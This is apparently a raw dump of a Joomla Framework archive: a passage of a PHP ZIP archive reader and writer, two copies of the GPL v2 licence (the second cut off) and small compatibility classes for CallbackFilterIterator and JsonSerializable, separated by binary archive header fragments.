unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength',
substr($data, $fhStart + 10, 20));
$name = substr($data, $fhStart + 46, $info['Length']);
$entries[$name] = array(
'attr' => null,
'crc' => sprintf('%08s',
dechex($info['CRC32'])),
'csize' => $info['Compressed'],
'date' => null,
'_dataStart' => null,
'name' => $name,
'method' =>
$this->methods[$info['Method']],
'_method' => $info['Method'],
'size' => $info['Uncompressed'],
'type' => null,
);
$entries[$name]['date'] = mktime(
($info['Time'] >> 11) & 0x1f,
($info['Time'] >> 5) & 0x3f,
($info['Time'] << 1) & 0x3e,
($info['Time'] >> 21) & 0x07,
($info['Time'] >> 16) & 0x1f,
(($info['Time'] >> 25) & 0x7f) + 1980
);
if ($dataLength < $fhStart + 43)
{
throw new \RuntimeException('Invalid ZIP data');
}
$info = unpack('vInternal/VExternal/VOffset', substr($data,
$fhStart + 36, 10));
$entries[$name]['type'] = ($info['Internal'] &
0x01) ? 'text' : 'binary';
$entries[$name]['attr'] = (($info['External'] &
0x10) ? 'D' : '-') . (($info['External']
& 0x20) ? 'A' : '-')
. (($info['External'] & 0x03) ? 'S' :
'-') . (($info['External'] & 0x02) ? 'H'
: '-') . (($info['External'] & 0x01) ?
'R' : '-');
$entries[$name]['offset'] = $info['Offset'];
// Get details from local file header since we have the offset
$lfhStart = strpos($data, $this->fileHeader,
$entries[$name]['offset']);
if ($dataLength < $lfhStart + 34)
{
throw new \RuntimeException('Invalid ZIP Data');
}
$info =
unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength/vExtraLength',
substr($data, $lfhStart + 8, 25));
$name = substr($data, $lfhStart + 30,
$info['Length']);
$entries[$name]['_dataStart'] = $lfhStart + 30 +
$info['Length'] + $info['ExtraLength'];
// Bump the max execution time because not using the built in php zip
libs makes this process slow.
@set_time_limit(ini_get('max_execution_time'));
}
while (($fhStart = strpos($data, $this->ctrlDirHeader, $fhStart + 46))
!== false);
$this->metadata = array_values($entries);
return true;
}
/**
* Returns the file data for a file by offset in the ZIP archive
*
* @param integer $key The position of the file in the archive.
*
* @return string Uncompressed file data buffer.
*
* @since 1.0
*/
private function getFileData($key)
{
if ($this->metadata[$key]['_method'] == 0x8)
{
return gzinflate(substr($this->data,
$this->metadata[$key]['_dataStart'],
$this->metadata[$key]['csize']));
}
if ($this->metadata[$key]['_method'] == 0x0)
{
// Files that aren't compressed.
return substr($this->data,
$this->metadata[$key]['_dataStart'],
$this->metadata[$key]['csize']);
}
if ($this->metadata[$key]['_method'] == 0x12)
{
// If bz2 extension is loaded use it
if (\extension_loaded('bz2'))
{
return bzdecompress(substr($this->data,
$this->metadata[$key]['_dataStart'],
$this->metadata[$key]['csize']));
}
}
return '';
}
/**
* Converts a UNIX timestamp to a 4-byte DOS date and time format
* (date in high 2-bytes, time in low 2-bytes allowing magnitude
* comparison).
*
* @param integer $unixtime The current UNIX timestamp.
*
* @return integer The current date in a 4-byte DOS format.
*
* @since 1.0
*/
protected function unix2DosTime($unixtime = null)
{
$timearray = $unixtime === null ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980)
{
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) |
($timearray['mon'] << 21) | ($timearray['mday']
<< 16) | ($timearray['hours'] << 11) |
($timearray['minutes'] << 5) |
($timearray['seconds'] >> 1);
}
/**
* Adds a "file" to the ZIP archive.
*
* @param array $file File data array to add
* @param array $contents An array of existing zipped files.
* @param array $ctrldir An array of central directory information.
*
* @return void
*
* @since 1.0
* @todo Review and finish implementation
*/
private function addToZipFile(array &$file, array &$contents,
array &$ctrldir)
{
$data = &$file['data'];
$name = str_replace('\\', '/',
$file['name']);
// See if time/date information has been provided.
$ftime = null;
if (isset($file['time']))
{
$ftime = $file['time'];
}
// Get the hex time.
$dtime = dechex($this->unix2DosTime($ftime));
$hexdtime = \chr(hexdec($dtime[6] . $dtime[7])) . \chr(hexdec($dtime[4] .
$dtime[5])) . \chr(hexdec($dtime[2] . $dtime[3]))
. \chr(hexdec($dtime[0] . $dtime[1]));
// Begin creating the ZIP data.
$fr = $this->fileHeader;
// Version needed to extract.
$fr .= "\x14\x00";
// General purpose bit flag.
$fr .= "\x00\x00";
// Compression method.
$fr .= "\x08\x00";
// Last modification time/date.
$fr .= $hexdtime;
// "Local file header" segment.
$uncLen = \strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, \strlen($zdata) - 4), 2);
$cLen = \strlen($zdata);
// CRC 32 information.
$fr .= pack('V', $crc);
// Compressed filesize.
$fr .= pack('V', $cLen);
// Uncompressed filesize.
$fr .= pack('V', $uncLen);
// Length of filename.
$fr .= pack('v', \strlen($name));
// Extra field length.
$fr .= pack('v', 0);
// File name.
$fr .= $name;
// "File data" segment.
$fr .= $zdata;
// Add this entry to array.
$oldOffset = \strlen(implode('', $contents));
$contents[] = &$fr;
// Add to central directory record.
$cdrec = $this->ctrlDirHeader;
// Version made by.
$cdrec .= "\x00\x00";
// Version needed to extract
$cdrec .= "\x14\x00";
// General purpose bit flag
$cdrec .= "\x00\x00";
// Compression method
$cdrec .= "\x08\x00";
// Last mod time/date.
$cdrec .= $hexdtime;
// CRC 32 information.
$cdrec .= pack('V', $crc);
// Compressed filesize.
$cdrec .= pack('V', $cLen);
// Uncompressed filesize.
$cdrec .= pack('V', $uncLen);
// Length of filename.
$cdrec .= pack('v', \strlen($name));
// Extra field length.
$cdrec .= pack('v', 0);
// File comment length.
$cdrec .= pack('v', 0);
// Disk number start.
$cdrec .= pack('v', 0);
// Internal file attributes.
$cdrec .= pack('v', 0);
// External file attributes -'archive' bit set.
$cdrec .= pack('V', 32);
// Relative offset of local header.
$cdrec .= pack('V', $oldOffset);
// File name.
$cdrec .= $name;
// Save to central directory array.
$ctrldir[] = &$cdrec;
}
/**
* Creates the ZIP file.
*
* Official ZIP file format: http://www.pkware.com/appnote.txt
*
* @param array $contents An array of existing zipped files.
* @param array $ctrlDir An array of central directory information.
* @param string $path The path to store the archive.
*
* @return boolean True if successful
*
* @since 1.0
* @todo Review and finish implementation
*/
private function createZipFile(array &$contents, array &$ctrlDir,
$path)
{
$data = implode('', $contents);
$dir = implode('', $ctrlDir);
/*
* Buffer data:
* Total # of entries "on this disk".
* Total # of entries overall.
* Size of central directory.
* Offset to start of central dir.
* ZIP file comment length.
*/
$buffer = $data . $dir . $this->ctrlDirEnd .
pack('v', \count($ctrlDir)) .
pack('v', \count($ctrlDir)) .
pack('V', \strlen($dir)) .
pack('V', \strlen($data)) .
"\x00\x00";
return File::write($path, $buffer);
}
}
PK���[�P�E�Ecompat/LICENSEnu�[���GNU GENERAL
PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK���[���%compat/src/CallbackFilterIterator.phpnu�[���<?php
/**
* Part of the Joomla Framework Compat Package
*
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
/**
* CallbackFilterIterator using the callback to determine which items are
accepted or rejected.
*
* @link http://php.net/manual/en/class.callbackfilteriterator.php
* @since 1.2.0
*/
class CallbackFilterIterator extends \FilterIterator
{
/**
* The callback to check value.
*
* @var callable
*
* @since 1.2.0
*/
protected $callback = null;
/**
* Creates a filtered iterator using the callback to determine
* which items are accepted or rejected.
*
* @param \Iterator $iterator The iterator to be filtered.
* @param callable $callback The callback, which should return TRUE
to accept the current item
* or FALSE otherwise. May be any valid
callable value.
* The callback should accept up to three
arguments: the current item,
* the current key and the iterator,
respectively.
* ``` php
* function my_callback($current, $key,
$iterator)
* ```
*
* @throws InvalidArgumentException
*
* @since 1.2.0
*/
public function __construct(\Iterator $iterator, $callback)
{
if (!is_callable($callback))
{
throw new \InvalidArgumentException("Argument 2 of
CallbackFilterIterator should be callable.");
}
$this->callback = $callback;
parent::__construct($iterator);
}
/**
* This method calls the callback with the current value, current key and
the inner iterator.
* The callback is expected to return TRUE if the current item is to be
accepted, or FALSE otherwise.
*
* @link http://www.php.net/manual/en/callbackfilteriterator.accept.php
*
* @return boolean True if the current element is acceptable, otherwise
false.
*
* @since 1.2.0
*/
public function accept()
{
$inner = $this->getInnerIterator();
return call_user_func_array(
$this->callback,
array(
$inner->current(),
$inner->key(),
$inner
)
);
}
}
PK���[�$���compat/src/JsonSerializable.phpnu�[���<?php
/**
* Part of the Joomla Framework Compat Package
*
* @copyright Copyright (C) 2005 - 2013 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
/**
* JsonSerializable interface. This file provides backwards compatibility
to PHP 5.3 and ensures
* the interface is present in systems where JSON related code was removed.
*
* @link http://www.php.net/manual/en/jsonserializable.jsonserialize.php
* @since 1.0
*/
interface JsonSerializable
{
/**
* Return data which should be serialized by json_encode().
*
* @return mixed
*
* @since 1.0
*/
public function jsonSerialize();
}
PK���[�P�E�Edata/LICENSEnu�[���GNU GENERAL
PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
